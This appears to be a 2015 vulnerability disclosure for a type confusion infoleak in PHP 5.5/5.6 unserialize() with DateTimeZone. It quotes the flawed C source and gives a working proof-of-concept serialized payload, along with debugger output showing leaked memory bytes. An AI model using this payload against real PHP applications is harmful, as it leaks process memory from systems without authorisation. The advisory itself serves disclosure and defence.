Skip to content

Latest commit

 

History

History
72 lines (56 loc) · 2.27 KB

pch-019.md

File metadata and controls

72 lines (56 loc) · 2.27 KB

Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone [Unfix Still]

Taoguang Chen <@chtg> - Write Date: 2015.1.29 - Release Date: 2015.2.20

A Type Confusion Vulnerability was discovered in unserialize() with DateTimeZone object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks.

Affected Versions

Affected is PHP 5.6.x
Affected is PHP 5.5.x

Credits

This vulnerability was disclosed by Taoguang Chen.

Description

static int php_date_timezone_initialize_from_hash(zval **return_value, php_timezone_obj **tzobj, HashTable *myht TSRMLS_DC)
{
	zval            **z_timezone = NULL;
	zval            **z_timezone_type = NULL;
 
	if (zend_hash_find(myht, "timezone_type", 14, (void**) &z_timezone_type) == SUCCESS) {
		if (zend_hash_find(myht, "timezone", 9, (void**) &z_timezone) == SUCCESS) {
			convert_to_long(*z_timezone_type);
			if (SUCCESS == timezone_initialize(*tzobj, Z_STRVAL_PP(z_timezone) TSRMLS_CC)) {
				return SUCCESS;
			}
		}
	}
	return FAILURE;
}
...
static int timezone_initialize(php_timezone_obj *tzobj, /*const*/ char *tz) /* {{{ */
{
	timelib_time *dummy_t = ecalloc(1, sizeof(timelib_time));
	int           dst, not_found;
	char         *orig_tz = tz;

	dummy_t->z = timelib_parse_zone(&tz, &dst, dummy_t, &not_found, DATE_TIMEZONEDB, php_date_parse_tzfile_wrapper);
	if (not_found) {
		php_error_docref(NULL, E_WARNING, "Unknown or bad timezone (%s)", orig_tz);

The Z_STRVAL_PP macro lead to looking up an arbitrary valid memory address, and outputing a string via an warning level error message that start from this memory address.

Proof of Concept Exploit

The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.

<?php

$data = unserialize('O:12:"DateTimeZone":2:{s:13:"timezone_type";i:1;s:8:"timezone";i:4298494896;}');

?>

Test the PoC on the command line, then show warning level error message:

$ lldb php
(lldb) target create "php"
Current executable set to 'php' (x86_64).
(lldb) run test/test.php
Process 889 launched: '/usr/bin/php' (x86_64)

Warning: DateTimeZone::__wakeup(): Unknown or bad timezone (UH??AWAVAUATSH??8) in /test/test.php on line 3
Process 889 exited with status = 0 (0x00000000)